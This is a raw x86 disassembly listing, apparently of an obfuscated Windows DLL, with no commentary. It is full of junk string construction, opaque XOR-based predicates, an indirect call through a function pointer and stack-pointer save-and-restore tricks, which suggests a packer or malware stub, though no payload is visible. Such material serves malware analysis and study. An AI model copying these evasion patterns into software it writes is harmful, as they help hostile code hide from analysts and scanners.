push str.OXmEbsGWyB
lea ecx, [ebp - 0x162c]
call fcn.10002060
push str.OgIFU
lea ecx, [ebp - 0x1614]
call fcn.10002060
push str.QtYjeayrTECr
lea ecx, [ebp - 0x15fc]
call fcn.10002060
lea ecx, [ebp - 0x15fc]
call fcn.10002340
lea ecx, [ebp - 0x1614]
call fcn.10002340
lea ecx, [ebp - 0x162c]
call fcn.10002340
lea ecx, [ebp - 0x1644]
call fcn.10002340
lea ecx, [ebp - 0x165c]
call fcn.10002340
lea ecx, [ebp - 0x1674]
call fcn.10002340
lea ecx, [ebp - 0x168c]
call fcn.10002340
lea ecx, [ebp - 0x16a4]
call fcn.10002340
lea ecx, [ebp - 0x16bc]
call fcn.10002340
lea ecx, [ebp - 0x16d4]
call fcn.10002340
lea ecx, [ebp - 0x16ec]
call fcn.10002340
lea ecx, [ebp - 0x1704]
call fcn.10002340
lea ecx, [ebp - 0x171c]
call fcn.10002340
lea ecx, [ebp - 0x1734]
call fcn.10002340
jmp 0x1000e10c
mov dword [ebp - 0x34], 0
jmp 0x1000e2b9
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
mov ecx, 0x1005ce14
call fcn.10005b00
cmp dword [ebp - 0x34], eax
jae 0x1000e3df
push str.RgPUQMKC
lea ecx, [ebp - 0x1824]
call fcn.10002060
push str.ZvWLcpUAeLBmvQnlEzcVKlBOsed
lea ecx, [ebp - 0x180c]
call fcn.10002060
push str.cUbLvpKpbfgc
lea ecx, [ebp - 0x17f4]
call fcn.10002060
push str.PTbPPqNfRrVQNrvaRPNyfgnV
lea ecx, [ebp - 0x17dc]
call fcn.10002060
push str.NJHIpRfYpITaopDtWnDOASzkNGiVqZAhzniye
lea ecx, [ebp - 0x17c4]
call fcn.10002060
push str.NKnYxjIzgvOvPicKcLgQbLDgX
lea ecx, [ebp - 0x17ac]
call fcn.10002060
push str.KcnsXwBwGeJVpmCUxFYswbIwxGDZgGDNFOAsL
lea ecx, [ebp - 0x1794]
call fcn.10002060
push str.UEvmuZmGaemxoHVrVGZyjpQ
lea ecx, [ebp - 0x177c]
call fcn.10002060
push str.OaCbAB
lea ecx, [ebp - 0x1764]
call fcn.10002060
push str.QtWBnI
lea ecx, [ebp - 0x174c]
call fcn.10002060
lea ecx, [ebp - 0x174c]
call fcn.10002340
lea ecx, [ebp - 0x1764]
call fcn.10002340
lea ecx, [ebp - 0x177c]
call fcn.10002340
lea ecx, [ebp - 0x1794]
call fcn.10002340
lea ecx, [ebp - 0x17ac]
call fcn.10002340
lea ecx, [ebp - 0x17c4]
call fcn.10002340
lea ecx, [ebp - 0x17dc]
call fcn.10002340
lea ecx, [ebp - 0x17f4]
call fcn.10002340
lea ecx, [ebp - 0x180c]
call fcn.10002340
lea ecx, [ebp - 0x1824]
call fcn.10002340
jmp 0x1000e2b0
mov ecx, 0x1005cdd8
call fcn.10005630
lea edx, [ebp - 0xf0]
push edx
push 0x1005cd00
call fcn.10005bb0
add esp, 8
movzx eax, al
test eax, eax
jne 0x1000e410
mov dword [ebp - 0x98], 1
jmp 0x1000e41a
mov dword [ebp - 0x98], 0
mov ecx, dword [ebp - 4]
xor ecx, dword [0x10036048]
cmp dword [ebp - 0x98], ecx
jl 0x1000e567
mov dword [ebp - 0x38], 0
jmp 0x1000e441
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov ecx, 0x1005ce20
call fcn.10005b00
cmp dword [ebp - 0x38], eax
jae 0x1000e567
push str.afWLRrtSQWVePqECxMUHZnhRgf
lea ecx, [ebp - 0x1914]
call fcn.10002060
push str.xuuNkxCkPFsgPxmYKgDFXjDcWdT
lea ecx, [ebp - 0x18fc]
call fcn.10002060
push str.tvYzTdCzKJgtChDXYZqeCpN
lea ecx, [ebp - 0x18e4]
call fcn.10002060
push str.LJNZANLvNC
lea ecx, [ebp - 0x18cc]
call fcn.10002060
push str.LXNrGujIsVkUgCHdBg
lea ecx, [ebp - 0x18b4]
call fcn.10002060
push str.LuzuYeiRCRdEdstzPoDZwYfIoAAZHcckpN
lea ecx, [ebp - 0x189c]
call fcn.10002060
push str.RtganlTDoIFRGXKYRXWQChqZQD
lea ecx, [ebp - 0x1884]
call fcn.10002060
push str.JXxEMMyOWSEfyvZiKcKEpfkjGeyvWVHkKIMdd
lea ecx, [ebp - 0x186c]
call fcn.10002060
push str.NBYvxZiOGisjsQcZIBRqfbAwFaZ
lea ecx, [ebp - 0x1854]
call fcn.10002060
push str.HIXwydhlaWYxpYOa
lea ecx, [ebp - 0x183c]
call fcn.10002060
lea ecx, [ebp - 0x183c]
call fcn.10002340
lea ecx, [ebp - 0x1854]
call fcn.10002340
lea ecx, [ebp - 0x186c]
call fcn.10002340
lea ecx, [ebp - 0x1884]
call fcn.10002340
lea ecx, [ebp - 0x189c]
call fcn.10002340
lea ecx, [ebp - 0x18b4]
call fcn.10002340
lea ecx, [ebp - 0x18cc]
call fcn.10002340
lea ecx, [ebp - 0x18e4]
call fcn.10002340
lea ecx, [ebp - 0x18fc]
call fcn.10002340
lea ecx, [ebp - 0x1914]
call fcn.10002340
jmp 0x1000e438
push 0x4d
push 0
lea eax, [ebp - 0x192c]
push eax
lea ecx, [ebp - 0x234]
call fcn.10009040
mov dword [ebp - 0x194], eax
push 0
push 0x10028e24
mov ecx, dword [ebp - 0x194]
call fcn.10008290
xor eax, dword [0x10036044]
xor eax, dword [0x1003603c]
mov dword [0x1003603c], eax
lea ecx, [ebp - 0x192c]
call fcn.10002340
mov ecx, 0x1005ccd0
call fcn.10005ae0
cmp eax, 0x10
jae 0x1000e611
lea ecx, [ebp - 0x234]
push ecx
push 0x1005cd78
push 0x1005cce8
lea edx, [ebp - 0x195c]
push edx
call fcn.10004600
add esp, 0xc
push eax
lea eax, [ebp - 0x1944]
push eax
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005ccd0
call fcn.10006720
lea ecx, [ebp - 0x1944]
call fcn.10002340
lea ecx, [ebp - 0x195c]
call fcn.10002340
mov ecx, 0x1005ccb8
call fcn.10005ae0
cmp eax, 0x92
jae 0x1000e692
push 0x1005cbe0
push 0x1005cca0
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x19a4]
push eax
call fcn.10004600
add esp, 0xc
push eax
lea ecx, [ebp - 0x198c]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
lea edx, [ebp - 0x1974]
push edx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005ccb8
call fcn.10006720
lea ecx, [ebp - 0x1974]
call fcn.10002340
lea ecx, [ebp - 0x198c]
call fcn.10002340
lea ecx, [ebp - 0x19a4]
call fcn.10002340
push str.ChIHYK
lea ecx, [ebp - 0x1a1c]
call fcn.10002060
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [0x10036018]
push ecx
mov edx, dword [0x10036010]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [0x10036020]
push ecx
push 0x1005cce8
mov edx, dword [0x10036038]
push edx
lea eax, [ebp - 0x1a04]
push eax
call fcn.10008400
add esp, 0x20
mov dword [ebp - 0x198], eax
push 0x41
push 0
lea ecx, [ebp - 0x19ec]
push ecx
mov ecx, dword [ebp - 0x198]
call fcn.10009040
mov dword [ebp - 0x1a0], eax
push str.EKNiM
lea ecx, [ebp - 0x19d4]
call fcn.10002060
mov ecx, eax
call fcn.10005610
mov dword [ebp - 0x19c], eax
mov edx, dword [ebp - 0x19c]
push edx
mov ecx, dword [ebp - 0x1a0]
call fcn.10007ae0
mov esi, eax
push 0
push 0x10028e30
mov ecx, dword [ebp - 0x1a4]
call fcn.10008370
mov edi, eax
mov eax, 0x32e
cdq
mov ebx, eax
xor ebx, edx
sub ebx, edx
push 0x3f
push 0
lea eax, [ebp - 0x19bc]
push eax
lea ecx, [ebp - 0x68]
call fcn.10009040
mov ecx, eax
call fcn.10008200
movzx ecx, al
add ecx, ebx
sub ecx, edi
xor ecx, esi
mov dword [ebp - 0x1ac], ecx
mov edx, dword [0x10036048]
mov dword [ebp - 0x1a8], edx
mov eax, dword [ebp - 0x1a8]
add eax, dword [ebp - 0x1ac]
mov dword [0x10036048], eax
lea ecx, [ebp - 0x19bc]
call fcn.10002340
lea ecx, [ebp - 0x19d4]
call fcn.10002340
lea ecx, [ebp - 0x19ec]
call fcn.10002340
lea ecx, [ebp - 0x1a04]
call fcn.10002340
lea ecx, [ebp - 0x1a1c]
call fcn.10002340
push 0x1005ce14
mov ecx, 0x1005cdd8
call fcn.10005b50
mov dword [0x1005cb54], esp
mov dword [ebp - 0x3c], 0
jmp 0x1000e7f7
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov dword [ebp - 0x3c], ecx
mov ecx, 0x1005ce08
call fcn.10005b00
cmp dword [ebp - 0x3c], eax
jae 0x1000ea46
push str.htBEfcJyvtHxnBftIadaZ
lea ecx, [ebp - 0x1c14]
call fcn.10002060
push str.EEGcwXPizHJSBtQzVjnzWnMWKaK
lea ecx, [ebp - 0x1bfc]
call fcn.10002060
push str.nnhbdypfAIvnaxNeMBHYC
lea ecx, [ebp - 0x1be4]
call fcn.10002060
push str.dQecbxazFjPCrLDfQxpGMESEIRhyuwfL
lea ecx, [ebp - 0x1bcc]
call fcn.10002060
push str.fLgtnsNksklWdOtFcGYTmixKQNEOCZUwDOEnWq
lea ecx, [ebp - 0x1bb4]
call fcn.10002060
push str.fJMefewlFhPvZAPHZgXLnQkhdyeCHQL
lea ecx, [ebp - 0x1b9c]
call fcn.10002060
push str.diPprdkBZEIKldpYUAe
lea ecx, [ebp - 0x1b84]
call fcn.10002060
push str.SgEd
lea ecx, [ebp - 0x1b6c]
call fcn.10002060
push str.dnAaKQRFYnLGcWcaIqgPQjBJefVzCCl
lea ecx, [ebp - 0x1b54]
call fcn.10002060
push str.TrHdBgNyFScQmsDMwfQLiZZoStVwJM
lea ecx, [ebp - 0x1b3c]
call fcn.10002060
push str.ITRS
lea ecx, [ebp - 0x1b24]
call fcn.10002060
push str.zzfBHzmdvtnpZ
lea ecx, [ebp - 0x1b0c]
call fcn.10002060
push str.SLGDPGjYBXgzyEufdacnYUNmHwJoZXJaXOCVcQ
lea ecx, [ebp - 0x1af4]
call fcn.10002060
push str.gWTNmyuHClPbxggLOFXI
lea ecx, [ebp - 0x1adc]
call fcn.10002060
push str.tYuJuODNnioJeoLfCYbMpygNHirpIWPGbvVqx
lea ecx, [ebp - 0x1ac4]
call fcn.10002060
push str.BwfVlSTwKhAQwdMVzARhALsKVJZJQ
lea ecx, [ebp - 0x1aac]
call fcn.10002060
push 0x10028ff0
lea ecx, [ebp - 0x1a94]
call fcn.10002060
push str.KXIykUgjjwOrJsnutMzUObn
lea ecx, [ebp - 0x1a7c]
call fcn.10002060
push 0x1002900c
lea ecx, [ebp - 0x1a64]
call fcn.10002060
push str.gQcyNIUeaLmcVTaTHWAcvEUbckEaFsdV
lea ecx, [ebp - 0x1a4c]
call fcn.10002060
push str.azvee
lea ecx, [ebp - 0x1a34]
call fcn.10002060
lea ecx, [ebp - 0x1a34]
call fcn.10002340
lea ecx, [ebp - 0x1a4c]
call fcn.10002340
lea ecx, [ebp - 0x1a64]
call fcn.10002340
lea ecx, [ebp - 0x1a7c]
call fcn.10002340
lea ecx, [ebp - 0x1a94]
call fcn.10002340
lea ecx, [ebp - 0x1aac]
call fcn.10002340
lea ecx, [ebp - 0x1ac4]
call fcn.10002340
lea ecx, [ebp - 0x1adc]
call fcn.10002340
lea ecx, [ebp - 0x1af4]
call fcn.10002340
lea ecx, [ebp - 0x1b0c]
call fcn.10002340
lea ecx, [ebp - 0x1b24]
call fcn.10002340
lea ecx, [ebp - 0x1b3c]
call fcn.10002340
lea ecx, [ebp - 0x1b54]
call fcn.10002340
lea ecx, [ebp - 0x1b6c]
call fcn.10002340
lea ecx, [ebp - 0x1b84]
call fcn.10002340
lea ecx, [ebp - 0x1b9c]
call fcn.10002340
lea ecx, [ebp - 0x1bb4]
call fcn.10002340
lea ecx, [ebp - 0x1bcc]
call fcn.10002340
lea ecx, [ebp - 0x1be4]
call fcn.10002340
lea ecx, [ebp - 0x1bfc]
call fcn.10002340
lea ecx, [ebp - 0x1c14]
call fcn.10002340
jmp 0x1000e7ee
mov ecx, 0x1005cda8
call fcn.10005ae0
cmp eax, 0x65
jae 0x1000eaa3
push 0x1005cc70
push 0x1005cd00
lea edx, [ebp - 0x68]
push edx
lea eax, [ebp - 0x1c44]
push eax
call fcn.10004600
add esp, 0xc
push eax
lea ecx, [ebp - 0x1c2c]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cda8
call fcn.10006720
lea ecx, [ebp - 0x1c2c]
call fcn.10002340
lea ecx, [ebp - 0x1c44]
call fcn.10002340
mov ecx, 0x1005cbf8
call fcn.10005ae0
cmp eax, 0x3f
jae 0x1000eb03
push 0x1005ccb8
push 0x1005cdc0
lea edx, [ebp - 0x108]
push edx
lea eax, [ebp - 0x1c74]
push eax
call fcn.10004600
add esp, 0xc
push eax
lea ecx, [ebp - 0x1c5c]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cbf8
call fcn.10006720
lea ecx, [ebp - 0x1c5c]
call fcn.10002340
lea ecx, [ebp - 0x1c74]
call fcn.10002340
push 0
lea ecx, [ebp - 0x68]
call fcn.10008230
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x1b4], eax
mov edx, dword [0x10036040]
mov dword [ebp - 0x1b0], edx
mov eax, dword [ebp - 0x1b0]
add eax, dword [ebp - 0x1b4]
mov dword [0x10036040], eax
mov ecx, dword [ebp - 0x1cc]
xor ecx, dword [0x10036030]
mov edx, dword [0x10036040]
add edx, dword [ebp - 4]
cmp ecx, edx
jl 0x1000eb5d
mov dword [ebp - 0x9c], 1
jmp 0x1000eb67
mov dword [ebp - 0x9c], 0
push 0x1005cdc0
push 0x1005cc88
call fcn.10005bb0
add esp, 8
movzx eax, al
test eax, eax
jne 0x1000eb8c
mov dword [ebp - 0xa0], 1
jmp 0x1000eb96
mov dword [ebp - 0xa0], 0
mov ecx, dword [ebp - 0x9c]
cmp ecx, dword [ebp - 0xa0]
jge 0x1000ebe7
push 0x10029040
call dword [sym.imp.SHLWAPI.dll_PathGetDriveNumberA]
mov esi, eax
movsd xmm0, qword [0x1002bcf0]
call fcn.1001aeb0
cvttsd2si edx, xmm0
add esi, edx
mov dword [ebp - 0x1bc], esi
mov eax, dword [0x1003604c]
mov dword [ebp - 0x1b8], eax
mov ecx, dword [ebp - 0x1b8]
add ecx, dword [ebp - 0x1bc]
mov dword [0x1003604c], ecx
movsd xmm0, qword [0x1002bcf8]
call fcn.1001abe0
cvttsd2si edx, xmm0
mov eax, dword [ebp - 4]
sub eax, edx
mov dword [ebp - 4], eax
push 0x1005ce08
mov ecx, 0x1005cdfc
call fcn.10006760
mov ecx, 0x1005cbf8
call fcn.10005ae0
cmp eax, 0x87
jae 0x1000ec6f
push 0x1005cd90
push 0x1005cd30
push 0x1005cc28
lea ecx, [ebp - 0x1ca4]
push ecx
call fcn.10004600
add esp, 0xc
push eax
lea edx, [ebp - 0x1c8c]
push edx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cbf8
call fcn.10006720
lea ecx, [ebp - 0x1c8c]
call fcn.10002340
lea ecx, [ebp - 0x1ca4]
call fcn.10002340
push 0x1005cde4
mov ecx, 0x1005cdd8
call fcn.10005b50
mov dword [ebp - 0x40], 0
jmp 0x1000ec90
mov eax, dword [ebp - 0x40]
add eax, 1
mov dword [ebp - 0x40], eax
mov ecx, 0x1005ce20
call fcn.10005b00
cmp dword [ebp - 0x40], eax
jae 0x1000edd1
push 0x1002903c
lea ecx, [ebp - 0x1dac]
call fcn.10002060
push str.gjirFJrnYZxtpEjFRQYNStPYVGTgIuVglNTXgKz
lea ecx, [ebp - 0x1d94]
call fcn.10002060
push str.HvRhrzNhvZ
lea ecx, [ebp - 0x1d7c]
call fcn.10002060
push str.KRAalrxGuvmhbZwqvkNN
lea ecx, [ebp - 0x1d64]
call fcn.10002060
push str.aHxiexXoofuQCDgMeZCJUHZluIImLxj
lea ecx, [ebp - 0x1d4c]
call fcn.10002060
push str.ogtBwfJiPxBSyTqzukxd
lea ecx, [ebp - 0x1d34]
call fcn.10002060
push str.aqBzSGOuF
lea ecx, [ebp - 0x1d1c]
call fcn.10002060
push str.PqScHBtzHWIPoUOAPbTbRSHRLlQS
lea ecx, [ebp - 0x1d04]
call fcn.10002060
push str.QooWBYFgTjpiWwQJgrAYJZlkSIFVWbYvHb
lea ecx, [ebp - 0x1cec]
call fcn.10002060
push str.YMwzCGMIf
lea ecx, [ebp - 0x1cd4]
call fcn.10002060
push str.vHwGdo
lea ecx, [ebp - 0x1cbc]
call fcn.10002060
lea ecx, [ebp - 0x1cbc]
call fcn.10002340
lea ecx, [ebp - 0x1cd4]
call fcn.10002340
lea ecx, [ebp - 0x1cec]
call fcn.10002340
lea ecx, [ebp - 0x1d04]
call fcn.10002340
lea ecx, [ebp - 0x1d1c]
call fcn.10002340
lea ecx, [ebp - 0x1d34]
call fcn.10002340
lea ecx, [ebp - 0x1d4c]
call fcn.10002340
lea ecx, [ebp - 0x1d64]
call fcn.10002340
lea ecx, [ebp - 0x1d7c]
call fcn.10002340
lea ecx, [ebp - 0x1d94]
call fcn.10002340
lea ecx, [ebp - 0x1dac]
call fcn.10002340
jmp 0x1000ec87
mov ecx, dword [ebp + 0x18]
mov dword [0x10036018], ecx
push 0x1005cbf8
push 0x1005cd00
call fcn.10005bb0
add esp, 8
movzx edx, al
test edx, edx
jne 0x1000edff
mov dword [ebp - 0xa4], 1
jmp 0x1000ee09
mov dword [ebp - 0xa4], 0
mov eax, dword [0x10036004]
mov ecx, dword [0x10036018]
shl eax, cl
cmp dword [ebp - 0xa4], eax
jl 0x1000ee2a
mov dword [ebp - 0xa8], 1
jmp 0x1000ee34
mov dword [ebp - 0xa8], 0
push 0x1005cd60
lea ecx, [ebp - 0xf0]
push ecx
call fcn.10005bb0
add esp, 8
movzx edx, al
test edx, edx
jne 0x1000ee5b
mov dword [ebp - 0xac], 1
jmp 0x1000ee65
mov dword [ebp - 0xac], 0
mov eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0xac]
jg 0x1000eeb3
mov ecx, 0x1005ccb8
call fcn.10005ae0
cmp eax, 0x8b
jae 0x1000eeb3
push 0x1005cc88
push 0x1005cd30
lea ecx, [ebp - 0x1dc4]
push ecx
call fcn.10004600
add esp, 0xc
push eax
mov ecx, 0x1005ccb8
call fcn.10006720
lea ecx, [ebp - 0x1dc4]
call fcn.10002340
mov edx, dword [0x1005cb64]
mov dword [ebp - 0x1c0], edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [ebp - 0x1c0]
push 0x1005cd90
lea eax, [ebp - 0x68]
push eax
call fcn.10005bb0
add esp, 8
movzx ecx, al
test ecx, ecx
jne 0x1000ef00
push 0x1005ce14
mov ecx, 0x1005cdfc
call fcn.10006760
push 0x1005ce14
mov ecx, 0x1005ce20
call fcn.10006760
push 0x1005cc40
push 0x1005ccd0
call fcn.10005bb0
add esp, 8
movzx edx, al
test edx, edx
jne 0x1000ef37
push 0x1005cdf0
mov ecx, 0x1005ce20
call fcn.10006760
push 0x30
push 0
lea eax, [ebp - 0x1ddc]
push eax
mov ecx, 0x1005cd00
call fcn.10009040
mov ecx, eax
call fcn.10005610
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov dword [ebp - 0x1c8], eax
mov ecx, dword [section..data]
mov dword [ebp - 0x1c4], ecx
mov edx, dword [ebp - 0x1c4]
add edx, dword [ebp - 0x1c8]
mov dword [section..data], edx
lea ecx, [ebp - 0x1ddc]
call fcn.10002340
mov ecx, 0x1005cbe0
call fcn.10005ae0
cmp eax, 0x59
jae 0x1000f007
push 0x1005cd30
push 0x1005cdc0
push 0x1005cc10
push 0x1005cc58
lea eax, [ebp - 0x1e24]
push eax
call fcn.10004600
add esp, 0xc
push eax
lea ecx, [ebp - 0x1e0c]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
lea edx, [ebp - 0x1df4]
push edx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cbe0
call fcn.10006720
lea ecx, [ebp - 0x1df4]
call fcn.10002340
lea ecx, [ebp - 0x1e0c]
call fcn.10002340
lea ecx, [ebp - 0x1e24]
call fcn.10002340
mov eax, dword [0x10036048]
imul eax, dword [0x10036048]
mov ecx, dword [0x10036018]
xor ecx, dword [0x10036038]
cmp eax, ecx
jne 0x1000f061
mov ecx, 0x1005cca0
call fcn.10005ae0
cmp eax, 0x51
jae 0x1000f061
push 0x1005cd18
push 0x1005cbf8
lea edx, [ebp - 0x1e3c]
push edx
call fcn.10004600
add esp, 0xc
push eax
mov ecx, 0x1005cca0
call fcn.10006720
lea ecx, [ebp - 0x1e3c]
call fcn.10002340
lea eax, [ebp - 0x50]
push eax
mov ecx, 0x1005cdd8
call fcn.10005b50
mov ecx, dword [ebp - 0x1cc]
xor ecx, dword [ebp - 4]
je 0x1000f0a9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add eax, dword [0x10036034]
mov dword [ebp - 0x1d4], eax
mov edx, dword [section..data]
mov dword [ebp - 0x1d0], edx
mov eax, dword [ebp - 0x1d0]
add eax, dword [ebp - 0x1d4]
mov dword [section..data], eax
lea ecx, [ebp - 0x68]
push ecx
push 0x1005cd18
call fcn.10005bb0
add esp, 8
movzx edx, al
test edx, edx
jne 0x1000f0cd
mov dword [ebp - 0xb8], 1
jmp 0x1000f0d7
mov dword [ebp - 0xb8], 0
push 0x1005cd00
push 0x1005cd60
call fcn.10005bb0
add esp, 8
movzx eax, al
test eax, eax
jne 0x1000f0fc
mov dword [ebp - 0xb0], 1
jmp 0x1000f106
mov dword [ebp - 0xb0], 0
push 0x1005cca0
push 0x1005ccd0
call fcn.10005bb0
add esp, 8
movzx ecx, al
test ecx, ecx
jne 0x1000f12b
mov dword [ebp - 0xb4], 1
jmp 0x1000f135
mov dword [ebp - 0xb4], 0
mov edx, dword [ebp - 0xb0]
cmp edx, dword [ebp - 0xb4]
jle 0x1000f14f
mov dword [ebp - 0xbc], 1
jmp 0x1000f159
mov dword [ebp - 0xbc], 0
mov eax, dword [ebp - 0xb8]
cmp eax, dword [ebp - 0xbc]
jne 0x1000f345
mov dword [ebp - 0x44], 0
jmp 0x1000f17d
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
mov ecx, 0x1005cdf0
call fcn.10005b00
cmp dword [ebp - 0x44], eax
jae 0x1000f345
push str.eVczFbsnGBLMiROnKxPTFzR
lea ecx, [ebp - 0x1fbc]
call fcn.10002060
push str.OiysMnvmJLWglONl
lea ecx, [ebp - 0x1fa4]
call fcn.10002060
push str.MWGvfUBlwzVlxAGZUJeCqEYWUcftJOsefGlbHj
lea ecx, [ebp - 0x1f8c]
call fcn.10002060
push str.StwvLIaYknC
lea ecx, [ebp - 0x1f74]
call fcn.10002060
push str.PEruuqVh
lea ecx, [ebp - 0x1f5c]
call fcn.10002060
push str.iNKyl
lea ecx, [ebp - 0x1f44]
call fcn.10002060
push str.TEtjqcKeLoMxFS
lea ecx, [ebp - 0x1f2c]
call fcn.10002060
push str.dpaScXvdJrKLmBLKAjyRHqNpapi
lea ecx, [ebp - 0x1f14]
call fcn.10002060
push str.cMTOjtavTNCYrRYhJHISUMhvuAFPnurpa
lea ecx, [ebp - 0x1efc]
call fcn.10002060
push str.BPOyufLvTXI
lea ecx, [ebp - 0x1ee4]
call fcn.10002060
push str.oCfprDyBcZqpLBVFWQg
lea ecx, [ebp - 0x1ecc]
call fcn.10002060
push 0x10029258
lea ecx, [ebp - 0x1eb4]
call fcn.10002060
push str.xHNVxgrmdyeanzdMQhoamtwQtFlDPJwyb
lea ecx, [ebp - 0x1e9c]
call fcn.10002060
push str.pqjoxxjVKyRvJvpXlkvHjkkoCIbb
lea ecx, [ebp - 0x1e84]
call fcn.10002060
push str.VeRKWQceFDpQJvBnube
lea ecx, [ebp - 0x1e6c]
call fcn.10002060
push str.MWKpGLjqTW
lea ecx, [ebp - 0x1e54]
call fcn.10002060
lea ecx, [ebp - 0x1e54]
call fcn.10002340
lea ecx, [ebp - 0x1e6c]
call fcn.10002340
lea ecx, [ebp - 0x1e84]
call fcn.10002340
lea ecx, [ebp - 0x1e9c]
call fcn.10002340
lea ecx, [ebp - 0x1eb4]
call fcn.10002340
lea ecx, [ebp - 0x1ecc]
call fcn.10002340
lea ecx, [ebp - 0x1ee4]
call fcn.10002340
lea ecx, [ebp - 0x1efc]
call fcn.10002340
lea ecx, [ebp - 0x1f14]
call fcn.10002340
lea ecx, [ebp - 0x1f2c]
call fcn.10002340
lea ecx, [ebp - 0x1f44]
call fcn.10002340
lea ecx, [ebp - 0x1f5c]
call fcn.10002340
lea ecx, [ebp - 0x1f74]
call fcn.10002340
lea ecx, [ebp - 0x1f8c]
call fcn.10002340
lea ecx, [ebp - 0x1fa4]
call fcn.10002340
lea ecx, [ebp - 0x1fbc]
call fcn.10002340
jmp 0x1000f174
lea ecx, [ebp - 0x68]
call fcn.10005610
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x10036048], eax
mov ecx, 0x1005cde4
call fcn.10005630
mov eax, 0x32e
cdq
xor eax, edx
sub eax, edx
xor eax, dword [0x10036038]
mov edx, dword [0x1003603c]
sub edx, eax
mov dword [0x1003603c], edx
push 0x1005cd00
push 0x1005cc58
call fcn.10005bb0
add esp, 8
movzx eax, al
test eax, eax
jne 0x1000f3a6
mov dword [ebp - 0xc4], 1
jmp 0x1000f3b0
mov dword [ebp - 0xc4], 0
lea ecx, [ebp - 0xf0]
push ecx
lea edx, [ebp - 0xf0]
push edx
call fcn.10005bb0
add esp, 8
movzx eax, al
test eax, eax
jne 0x1000f3d9
mov dword [ebp - 0xc0], 1
jmp 0x1000f3e3
mov dword [ebp - 0xc0], 0
mov ecx, dword [0x10036020]
imul ecx, dword [0x10036044]
cmp ecx, dword [ebp - 0xc0]
jge 0x1000f404
mov dword [ebp - 0xc8], 1
jmp 0x1000f40e
mov dword [ebp - 0xc8], 0
mov edx, dword [ebp - 0xc4]
cmp edx, dword [ebp - 0xc8]
je 0x1000f424
lea ecx, [ebp - 0x50]
call fcn.10005630
mov esp, dword [0x1005cb54]
push 0x100292c0
lea ecx, [ebp - 0x2004]
call fcn.10002060
mov dword [ebp - 0x1d8], eax
push 0x20
push 0
lea eax, [ebp - 0x1fec]
push eax
mov ecx, dword [ebp - 0x1d8]
call fcn.10009040
mov ecx, eax
call fcn.10005610
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push 0x4d
push 0
lea ecx, [ebp - 0x1fd4]
push ecx
lea ecx, [ebp - 0x234]
call fcn.10009040
mov ecx, eax
call fcn.10005ae0
xor esi, eax
mov dword [ebp - 0x1e0], esi
mov edx, dword [0x10036040]
mov dword [ebp - 0x1dc], edx
mov eax, dword [ebp - 0x1dc]
sub eax, dword [ebp - 0x1e0]
mov dword [0x10036040], eax
lea ecx, [ebp - 0x1fd4]
call fcn.10002340
lea ecx, [ebp - 0x1fec]
call fcn.10002340
lea ecx, [ebp - 0x2004]
call fcn.10002340
mov ecx, 0x1005cdc0
call fcn.10005ae0
cmp eax, 0xa0
jae 0x1000f54d
lea ecx, [ebp - 0xf0]
push ecx
push 0x1005cca0
lea edx, [ebp - 0xf0]
push edx
push 0x1005cc28
lea eax, [ebp - 0x204c]
push eax
call fcn.10004600
add esp, 0xc
push eax
lea ecx, [ebp - 0x2034]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
lea edx, [ebp - 0x201c]
push edx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cdc0
call fcn.10006720
lea ecx, [ebp - 0x201c]
call fcn.10002340
lea ecx, [ebp - 0x2034]
call fcn.10002340
lea ecx, [ebp - 0x204c]
call fcn.10002340
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x1e8], eax
mov eax, dword [0x10036040]
mov dword [ebp - 0x1e4], eax
mov ecx, dword [ebp - 0x1e4]
add ecx, dword [ebp - 0x1e8]
mov dword [0x10036040], ecx
mov ecx, 0x1005cd18
call fcn.10005ae0
cmp eax, 0x79
jae 0x1000f5d5
lea edx, [ebp - 0x68]
push edx
push 0x1005cd00
push 0x1005cd00
lea eax, [ebp - 0x207c]
push eax
call fcn.10004600
add esp, 0xc
push eax
lea ecx, [ebp - 0x2064]
push ecx
call fcn.10005bd0
add esp, 0xc
push eax
mov ecx, 0x1005cd18
call fcn.10006720
lea ecx, [ebp - 0x2064]
call fcn.10002340
lea ecx, [ebp - 0x207c]
call fcn.10002340
push 0x1005cdf0
mov ecx, 0x1005cde4
call fcn.10006760
push 0x1005cde4
mov ecx, 0x1005ce08
call fcn.10005b50
push 0x1005cdd8
mov ecx, 0x1005cdd8
call fcn.10006760
push 0x1005cdd8
mov ecx, 0x1005cdd8
call fcn.10006760
push 0x1005cdd8
mov ecx, 0x1005ce14
call fcn.10005b50
mov edx, dword [0x10036050]
xor edx, dword [ebp - 4]
je 0x1000f635
mov ecx, 0x1005cdd8
call fcn.10005630
push 0x30
push 0
lea eax, [ebp - 0x20c4]
push eax
mov ecx, 0x1005cd00
call fcn.10009040
mov dword [ebp - 0x1ec], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov esi, eax
